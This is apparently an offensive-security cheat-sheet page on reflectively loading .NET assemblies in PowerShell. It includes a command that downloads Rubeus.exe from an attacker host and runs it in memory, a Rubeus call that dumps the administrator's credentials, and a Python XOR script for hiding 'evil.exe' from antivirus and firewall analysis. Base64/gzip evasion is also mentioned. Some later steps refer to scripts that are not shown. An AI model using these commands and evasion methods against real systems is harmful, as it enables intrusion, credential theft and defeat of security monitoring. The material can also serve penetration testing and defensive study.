Loading .NET Reflective Assembly

When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.

We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))

We can now call its methods

[Rubeus.Program]::Main("dump /user:administrator".Split())

To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:

XOR the Binary using the following python code

def xor_encrypt(data, key):
    decrypted_data = bytearray()
    key_length = len(key)
    for i, byte in enumerate(data):
        decrypted_byte = byte ^ ord(key[i % key_length])
        decrypted_data.append(decrypted_byte)
    return bytes(decrypted_data)

def main():
    input_file_path = "evil.exe"  # Replace this with the path to your input file
    output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
    xor_key = "MySuperSecretKey"  # Replace "XOR_KEY" with your actual XOR key

    with open(input_file_path, "rb") as input_file:
        binary_data = input_file.read()

    decrypted_data = xor_encrypt(binary_data, xor_key)

    with open(output_file_path, "wb") as output_file:
        output_file.write(decrypted_data)

if __name__ == "__main__":
    main()

On the Windows Tartget, decrypt and load the .NET assembly

Now, we can call methods from this assembly

To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:

Use the following powershell script to encode and compress the .NET assembly (change the binary path)

On the target, we can decode, decompress and load the assembly

Now, we can call methods from this assembly

We can build our own DLL in C# and reflectively load it with Powershell.

Compile the csharp code from our Linux host into a DLL

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

Call methods